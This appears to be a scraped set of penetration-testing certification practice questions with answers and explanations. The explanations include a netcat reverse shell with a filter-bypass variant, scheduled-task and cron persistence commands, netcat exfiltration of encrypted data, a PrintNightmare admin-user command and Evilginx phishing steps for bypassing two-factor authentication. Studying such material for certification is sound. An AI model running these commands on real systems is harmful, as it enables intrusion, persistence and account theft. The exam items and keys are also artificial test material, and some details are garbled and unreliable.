Reference: In penetration testing, checking the accessibility of multiple URLs is a common task, often part of reconnaissance. Identifying publicly accessible resources can reveal potential entry points for further testing.

The requests library in Python is widely used for making HTTP requests and handling responses.

Understanding HTTP status codes is crucial for correctly interpreting the results of these requests.

By changing the condition to check for a 200 status code, the script will correctly identify and print

URLs that are publicly accessible.

Question #52

As part of an engagement, a penetration tester wants to maintain access to a compromised system after rebooting.

Which of the following techniques would be best for the tester to use?

  • A . Establishing a reverse shell
  • B . Executing a process injection attack
  • C . Creating a scheduled task
  • D . Performing a credential-dumping attack

Reveal Solution Hide Solution

Correct Answer: C
C

Explanation:

To maintain access to a compromised system after rebooting, a penetration tester should create a scheduled task. Scheduled tasks are designed to run automatically at specified times or when certain conditions are met, ensuring persistence across reboots.

Persistence Mechanisms:

Scheduled Task: Creating a scheduled task ensures that a specific program or script runs automatically according to a set schedule or in response to certain events, including system startup. This makes it a reliable method for maintaining access after a system reboot.

Reverse Shell: While establishing a reverse shell provides immediate access, it typically does not survive a system reboot unless coupled with another persistence mechanism.

Process Injection: Injecting a malicious process into another running process can provide stealthy access but may not persist through reboots.

Credential Dumping: Dumping credentials allows for re-access by using stolen credentials, but it does

not ensure automatic access upon reboot.

Creating a Scheduled Task:

On Windows, the schtasks command can be used to create scheduled tasks.

For example: schtasks /create /tn "Persistence" /tr "C:pathtomalicious.exe" /sc onlogon /ru SYSTEM On Linux, a cron job can be created by editing the crontab: (crontab -l; echo "@reboot /path/to/malicious.sh") | crontab –

Pentest

Reference: Maintaining persistence is a key objective in post-exploitation. Scheduled tasks (Windows Task Scheduler) and cron jobs (Linux) are commonly used techniques.

Reference to real-world scenarios include creating scheduled tasks to execute malware, keyloggers, or reverse shells automatically on system startup.

By creating a scheduled task, the penetration tester ensures that their access method (e.g., reverse shell, malware) is executed automatically whenever the system reboots, providing reliable persistence.

Question #53

In a file stored in an unprotected source code repository, a penetration tester discovers the following line of code:

sshpass -p donotchange ssh admin@192.168.6.14

Which of the following should the tester attempt to do next to take advantage of this information? (Select two).

  • A . Use Nmap to identify all the SSH systems active on the network.
  • B . Take a screen capture of the source code repository for documentation purposes.
  • C . Investigate to find whether other files containing embedded passwords are in the code repository.
  • D . Confirm whether the server 192.168.6.14 is up by sending ICMP probes.
  • E . Run a password-spraying attack with Hydra against all the SSH servers.
  • F . Use an external exploit through Metasploit to compromise host 192.168.6.14.

Reveal Solution Hide Solution

Correct Answer: B, C
B, C

Explanation:

When a penetration tester discovers hard-coded credentials in a file within an unprotected source code repository, the next steps should focus on documentation and further investigation to identify additional security issues.

Taking a Screen Capture (Option B):

Documentation: It is essential to document the finding for the final report. A screen capture provides concrete evidence of the discovered hard-coded credentials.

Audit Trail: This ensures that there is a record of the vulnerability and can be used to communicate the issue to stakeholders, such as the development team or the client. Investigating for Other Embedded Passwords (Option C):

Thorough Search: Finding one hard-coded password suggests there might be others. A thorough investigation can reveal additional credentials, which could further compromise the security of the system.

Automation Tools: Tools like truffleHog, git-secrets, and grep can be used to scan the repository for

other instances of hard-coded secrets.

Pentest

Reference: Initial Discovery: Discovering hard-coded credentials often occurs during source code review or automated scanning of repositories.

Documentation: Keeping detailed records of all findings is a critical part of the penetration testing process. This ensures that all discovered vulnerabilities are reported accurately and comprehensively.

Further Investigation: After finding a hard-coded credential, it is best practice to look for other security issues within the same repository. This might include other credentials, API keys, or sensitive information.

Steps to Perform:

Take a Screen Capture:

Use a screenshot tool to capture the evidence of the hard-coded credentials. Ensure the capture includes the context, such as the file path and relevant code lines.

Investigate Further:

Use tools and manual inspection to search for other embedded passwords.

Commands such as grep can be helpful:

grep -r ‘password’ /path/to/repository

Tools like truffleHog can search for high entropy strings indicative of secrets:

trufflehog –regex –entropy=True /path/to/repository

By documenting the finding and investigating further, the penetration tester ensures a comprehensive assessment of the repository, identifying and mitigating potential security risks effectively.

Question #54

During a security assessment for an internal corporate network, a penetration tester wants to gain unauthorized access to internal resources by executing an attack that uses software to disguise itself as legitimate software.

Which of the following host-based attacks should the tester use?

  • A . On-path
  • B . Logic bomb
  • C . Rootkit
  • D . Buffer overflow

Reveal Solution Hide Solution

Correct Answer: C
C

Explanation:

A rootkit is a type of malicious software designed to provide an attacker with unauthorized access to a computer system while concealing its presence. Rootkits achieve this by modifying the host’s operating system or other software to hide their existence, allowing the attacker to maintain control over the system without detection.

Step-by-Step Explanation

Definition and Purpose:

Rootkits are primarily used to gain and maintain root access (administrative privileges) on a system.

They disguise themselves as legitimate software or integrate deeply into the operating system to avoid detection.

Mechanisms of Action:

Kernel Mode Rootkits: These operate at the kernel level, which is the core of the operating system, making them very powerful and hard to detect.

User Mode Rootkits: These run in the same space as user applications, intercepting and altering standard system API calls to hide their presence.

Bootkits: These infect the Master Boot Record (MBR) or Volume Boot Record (VBR) and load before the operating system, making them extremely difficult to detect and remove. Detection and Prevention:

Detection Tools: Tools like RootkitRevealer, Chkrootkit, and rkhunter can help in identifying rootkits. Prevention: Regular system updates, use of strong antivirus and anti-malware solutions, and integrity checking tools like Tripwire can help in preventing rootkit infections. Real-World Examples:

Sony BMG Rootkit: In 2005, Sony BMG included a rootkit in their digital rights management (DRM) software on music CDs. The rootkit hid files and processes, leading to a major scandal when it was discovered.

Stuxnet: This sophisticated worm included a rootkit component to hide its presence on infected systems, making it one of the most infamous examples of rootkit use in a cyber attack. Reference from Pentesting Literature:

In "Penetration Testing – A Hands-on Introduction to Hacking" by Georgia Weidman, rootkits are discussed in the context of post-exploitation, where maintaining access to the compromised system is crucial.

Various HTB write-ups, such as the analysis of complex attacks involving multiple stages of exploitation, often highlight the use of rootkits in maintaining persistent access.

Reference: Penetration Testing – A Hands-on Introduction to Hacking HTB Official Writeups on sophisticated attacks

Question #55

A penetration tester assesses a complex web application and wants to explore potential security weaknesses by searching for subdomains that might have existed in the past.

Which of the following tools should the penetration tester use?

  • A . Censys.io
  • B . Shodan
  • C . Wayback Machine
  • D . SpiderFoot

Reveal Solution Hide Solution

Correct Answer: C
C

Explanation:

The Wayback Machine is an online tool that archives web pages over time, allowing users to see how a website looked at various points in its history. This can be extremely useful for penetration testers looking to explore potential security weaknesses by searching for subdomains that might have existed in the past.

Step-by-Step Explanation

Accessing the Wayback Machine:

Go to the Wayback Machine website: archive.org/web.

Enter the URL of the target website you want to explore.

Navigating Archived Pages:

The Wayback Machine provides a timeline and calendar interface to browse through different snapshots taken over time.

Select a snapshot to view the archived version of the site. Look for links, subdomains, and resources that may no longer be available in the current version of the website.

Identifying Subdomains:

Examine the archived pages for references to subdomains, which might be visible in links, scripts, or embedded content.

Use the information gathered to identify potential entry points or older versions of web applications

that might still be exploitable.

Tool Integration:

Tools like Burp Suite or SpiderFoot can integrate with the Wayback Machine to automate the discovery process of archived subdomains and resources.

Real-World Example:

During a penetration test, a tester might find references to oldadmin.targetsite.com in an archived page from several years ago. This subdomain might no longer be listed in DNS but could still be accessible, leading to potential security vulnerabilities. Reference from Pentesting Literature:

In various penetration testing guides and HTB write-ups, using the Wayback Machine is a common

technique for passive reconnaissance, providing historical context and revealing past configurations

that might still be exploitable.

Reference: HTB Official Writeups

Question #56

During the reconnaissance phase, a penetration tester collected the following information from the DNS records:

A—–> www

A—–> host

TXT –> vpn.comptia.org

SPF—> ip =2.2.2.2

Which of the following DNS records should be in place to avoid phishing attacks using spoofing domain techniques?

  • A . MX
  • B . SOA
  • C . DMARC
  • D . CNAME

Reveal Solution Hide Solution

Correct Answer: C
C

Explanation:

DMARC (Domain-based Message Authentication, Reporting & Conformance) is an email authentication protocol that helps prevent email spoofing and phishing. It builds on SPF (Sender Policy Framework) and DKIM (DomainKeys Identified Mail) to provide a mechanism for email senders and receivers to improve and monitor the protection of the domain from fraudulent email.

Step-by-Step Explanation

Understanding DMARC:

SPF: Defines which IP addresses are allowed to send emails on behalf of a domain.

DKIM: Provides a way to check that an email claiming to come from a specific domain was indeed authorized by the owner of that domain.

DMARC: Uses SPF and DKIM to determine the authenticity of an email and specifies what action to

take if the email fails the authentication checks.

Implementing DMARC:

Create a DMARC policy in your DNS records. This policy can specify to reject, quarantine, or take no action on emails that fail SPF or DKIM checks.

Example DMARC record: v=DMARC1; p=reject; rua=mailto:dmarc-reports@yourdomain.com;

Benefits of DMARC:

Helps to prevent email spoofing and phishing attacks.

Provides visibility into email sources through reports.

Enhances domain reputation by ensuring only legitimate emails are sent from the domain.

DMARC Record Components:

v: Version of DMARC.

p: Policy for handling emails that fail the DMARC check (none, quarantine, reject). rua: Reporting URI of aggregate reports.

ruf: Reporting URI of forensic reports.

pct: Percentage of messages subjected to filtering. Real-World Example:

A company sets up a DMARC policy with p=reject to ensure that any emails failing SPF or DKIM checks are rejected outright, significantly reducing the risk of phishing attacks using their domain. Reference from Pentesting Literature:

In "Penetration Testing – A Hands-on Introduction to Hacking," DMARC is mentioned as part of email security protocols to prevent phishing.

HTB write-ups often highlight the importance of DMARC in securing email communications and preventing spoofing attacks.

Reference: Penetration Testing – A Hands-on Introduction to Hacking HTB Official Writeups

Question #57

A penetration tester discovers data to stage and exfiltrate. The client has authorized movement to the tester’s attacking hosts only.

Which of the following would be most appropriate to avoid alerting the SOC?

  • A . Apply UTF-8 to the data and send over a tunnel to TCP port 25.
  • B . Apply Base64 to the data and send over a tunnel to TCP port 80.
  • C . Apply 3DES to the data and send over a tunnel UDP port 53.
  • D . Apply AES-256 to the data and send over a tunnel to TCP port 443.

Reveal Solution Hide Solution

Correct Answer: D
D

Explanation:

AES-256 (Advanced Encryption Standard with a 256-bit key) is a symmetric encryption algorithm widely used for securing data. Sending data over TCP port 443, which is typically used for HTTPS, helps to avoid detection by network monitoring systems as it blends with regular secure web traffic.

Step-by-Step Explanation

Encrypting Data with AES-256:

Use a secure key and initialization vector (IV) to encrypt the data using the AES-256 algorithm.

Example encryption command using OpenSSL:

openssl enc -aes-256-cbc -salt -in plaintext.txt -out encrypted.bin -k secretkey

Setting Up a Secure Tunnel:

Use a tool like OpenSSH to create a secure tunnel over TCP port 443.

Example command to set up a tunnel:

ssh -L 443:targetserver:443 user@intermediatehost

Transferring Data Over the Tunnel:

Use a tool like Netcat or SCP to transfer the encrypted data through the tunnel.

Example Netcat command to send data:

cat encrypted.bin | nc targetserver 443

Benefits of Using AES-256 and Port 443:

Security: AES-256 provides strong encryption, making it difficult for attackers to decrypt the data without the key.

Stealth: Sending data over port 443 helps avoid detection by security monitoring systems, as it appears as regular HTTPS traffic.

Real-World Example:

During a penetration test, the tester needs to exfiltrate sensitive data without triggering alerts. By encrypting the data with AES-256 and sending it over a tunnel to TCP port 443, the data exfiltration blends in with normal secure web traffic.

Reference from Pentesting Literature:

Various penetration testing guides and HTB write-ups emphasize the importance of using strong encryption like AES-256 for secure data transfer.

Techniques for creating secure tunnels and exfiltrating data covertly are often discussed in advanced pentesting resources.

Reference: Penetration Testing – A Hands-on Introduction to Hacking HTB Official Writeups

Question #58

A penetration tester gains access to a domain server and wants to enumerate the systems within the domain.

Which of the following tools would provide the best oversight of domains?

  • A . Netcat
  • B . Wireshark
  • C . Nmap
  • D . Responder

Reveal Solution Hide Solution

Correct Answer: C
C

Explanation:

Installation:

Nmap can be installed on various operating systems.

For example, on a Debian-based system:

sudo apt-get install nmap

Basic Network Scanning:

To scan a range of IP addresses in the network:

nmap -sP 192.168.1.0/24

Service and Version Detection:

To scan for open ports and detect the service versions running on a specific host:

nmap -sV 192.168.1.10

Enumerating Domain Systems:

Use Nmap with additional scripts to enumerate domain systems.

For example, using the Cscript option:

nmap -p 445 –script=smb-enum-domains 192.168.1.10

Advanced Scanning Options:

Stealth Scan: Use the -sS option to perform a stealth scan:

nmap -sS 192.168.1.10

Aggressive Scan: Use the -A option to enable OS detection, version detection, script scanning, and traceroute:

nmap -A 192.168.1.10

Real-World Example:

A penetration tester uses Nmap to enumerate the systems within a domain by scanning the network for live hosts and identifying the services running on each host. This information helps in identifying potential vulnerabilities and entry points for further exploitation. Reference from Pentesting Literature:

In "Penetration Testing – A Hands-on Introduction to Hacking," Nmap is extensively discussed for various stages of the penetration testing process, from reconnaissance to vulnerability assessment. HTB write-ups often illustrate the use of Nmap for network enumeration and discovering potential attack vectors.

Reference: Penetration Testing – A Hands-on Introduction to Hacking HTB Official Writeups

Question #59

A penetration tester plans to conduct reconnaissance during an engagement using readily available resources.

Which of the following resources would most likely identify hardware and software being utilized by the client?

  • A . Cryptographic flaws
  • B . Protocol scanning
  • C . Cached pages
  • D . Job boards

Reveal Solution Hide Solution

Correct Answer: D
D

Explanation:

To conduct reconnaissance and identify hardware and software used by a client, job boards are an effective resource. Companies often list the technologies they use in job postings to attract qualified candidates. These listings can provide valuable insights into the specific hardware and software platforms the client is utilizing.

Reconnaissance:

This is the first phase in penetration testing, involving gathering as much information as possible about the target.

Reconnaissance can be divided into two types: passive and active. Job boards fall under passive reconnaissance, where the tester gathers information without directly interacting with the target systems.

Job Boards:

Job postings often include detailed descriptions of the technologies and tools used within the company.

For example, a job posting for a network administrator might list specific brands of hardware (like Cisco routers) or software (like VMware).

Examples of Job Boards:

Websites like LinkedIn, Indeed, Glassdoor, and company career pages can be used to find relevant job postings.

These postings might mention operating systems (Windows, Linux), development frameworks (Spring, .NET), databases (Oracle, MySQL), and more. Pentest

Reference: OSINT (Open Source Intelligence): Using publicly available sources to gather information about a target.

Job boards are a key source of OSINT, providing indirect access to the internal technologies of a company.

This information can be used to tailor subsequent phases of the penetration test, such as vulnerability scanning and exploitation, to the specific technologies identified.

By examining job boards, a penetration tester can gain insights into the hardware and software environments of the target, making this a valuable reconnaissance tool.

Question #60

During an assessment, a penetration tester manages to get RDP access via a low-privilege user.

The tester attempts to escalate privileges by running the following commands: Import-Module .PrintNightmare.ps1

Invoke-Nightmare -NewUser "hacker" -NewPassword "Password123!" -DriverName "Print"

The tester attempts to further enumerate the host with the new administrative privileges by using the runas command. However, the access level is still low.

Which of the following actions should the penetration tester take next?

  • A . Log off and log on with "hacker".
  • B . Attempt to add another user.
  • C . Bypass the execution policy.
  • D . Add a malicious printer driver.

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

In the scenario where a penetration tester uses the PrintNightmare exploit to create a new user with administrative privileges but still experiences low-privilege access, the tester should log off and log on with the new "hacker" account to escalate privileges correctly.

PrintNightmare Exploit:

PrintNightmare (CVE-2021-34527) is a vulnerability in the Windows Print Spooler service that allows remote code execution and local privilege escalation.

The provided commands are intended to exploit this vulnerability to create a new user with

administrative privileges.

Commands Breakdown:

Import-Module .PrintNightmare.ps1: Loads the PrintNightmare exploit script. Invoke-Nightmare -NewUser "hacker" -NewPassword "Password123!" -DriverName "Print": Executes the exploit, creating a new user "hacker" with administrative privileges. Issue:

The tester still experiences low privileges despite running the exploit successfully. This could be due to the current session not reflecting the new privileges. Solution:

Logging off and logging back on with the new "hacker" account will start a new session with the updated administrative privileges.

This ensures that the new privileges are applied correctly.

Pentest

Reference: Privilege Escalation: After gaining initial access, escalating privileges is crucial to gain full control over the target system.

Session Management: Understanding how user sessions work and ensuring that new privileges are recognized by starting a new session.

The use of the PrintNightmare exploit highlights a specific technique for privilege escalation within Windows environments.

By logging off and logging on with the new "hacker" account, the penetration tester can ensure the new administrative privileges are fully applied, allowing for further enumeration and exploitation of the target system.

Question #61

A tester is performing an external phishing assessment on the top executives at a company. Two-factor authentication is enabled on the executives’ accounts that are in the scope of work.

Which of the following should the tester do to get access to these accounts?

  • A . Configure an external domain using a typosquatting technique. Configure Evilginx to bypass two-factor authentication using a phishlet that simulates the mail portal for the company.
  • B . Configure Gophish to use an external domain. Clone the email portal web page from the company and get the two-factor authentication code using a brute-force attack method.
  • C . Configure an external domain using a typosquatting technique. Configure SET to bypass two-factor authentication using a phishlet that mimics the mail portal for the company.
  • D . Configure Gophish to use an external domain. Clone the email portal web page from the company and get the two-factor authentication code using a vishing method.

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

To bypass two-factor authentication (2FA) and gain access to the executives’ accounts, the tester should use Evilginx with a typosquatting domain. Evilginx is a man-in-the-middle attack framework used to bypass 2FA by capturing session tokens.

Phishing with Evilginx:

Evilginx is designed to proxy legitimate login pages, capturing credentials and 2FA tokens in the process.

It uses "phishlets" which are configurations that simulate real login portals.

Typosquatting:

Typosquatting involves registering domains that are misspelled versions of legitimate domains (e.g., example.co instead of example.com).

This technique tricks users into visiting the malicious domain, thinking it’s legitimate.

Steps:

Configure an External Domain: Register a typosquatting domain similar to the company’s domain. Set Up Evilginx: Install and configure Evilginx on a server. Use a phishlet that mimics the company’s mail portal.

Send Phishing Emails: Craft phishing emails targeting the executives, directing them to the typosquatting domain.

Capture Credentials and 2FA Tokens: When executives log in, Evilginx captures their credentials and

session tokens, effectively bypassing 2FA.

Pentest

Reference: Phishing: Social engineering technique to deceive users into providing sensitive information. Two-Factor Authentication Bypass: Advanced phishing attacks like those using Evilginx can capture and reuse session tokens, bypassing 2FA mechanisms.

OSINT and Reconnaissance: Identifying key targets (executives) and crafting convincing phishing emails based on gathered information.

Using Evilginx with a typosquatting domain allows the tester to bypass 2FA and gain access to high-value accounts, demonstrating the effectiveness of advanced phishing techniques.

Question #62

A penetration tester is trying to bypass a command injection blocklist to exploit a remote code execution vulnerability.

The tester uses the following command:

nc -e /bin/sh 10.10.10.16 4444

Which of the following would most likely bypass the filtered space character?

  • A . ${IFS}
  • B . %0a
  • C . + *
  • D . %20

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

To bypass a command injection blocklist that filters out the space character, the tester can use ${IFS}.

${IFS} stands for Internal Field Separator in Unix-like systems, which by default is set to space, tab, and newline characters.

Command Injection:

Command injection vulnerabilities allow attackers to execute arbitrary commands on the host operating system via a vulnerable application.

Filters or blocklists are often implemented to prevent exploitation by disallowing certain characters

like spaces.

Bypassing Filters:

${IFS}: Using ${IFS} instead of a space can bypass filters that block spaces. ${IFS} expands to a space character in shell commands.

Example: The command nc -e /bin/sh 10.10.10.16 4444 can be rewritten as nc${IFS}-e${IFS}/bin/sh${IFS}10.10.10.16${IFS}4444. Alternative Encodings:

%0a: Represents a newline character in URL encoding.

+: Sometimes used in place of space in URLs.

%20: URL encoding for space.

However, ${IFS} is most appropriate for shell command contexts.

Pentest

Reference: Command Injection: Understanding how command injection works and common techniques to exploit it.

Bypassing Filters: Using creative methods like environment variable expansion to bypass input filters and execute commands.

Shell Scripting: Knowledge of shell scripting and environment variables is crucial for effective exploitation.

By using ${IFS}, the tester can bypass the filtered space character and execute the intended command, demonstrating the vulnerability’s exploitability.

Exit mobile version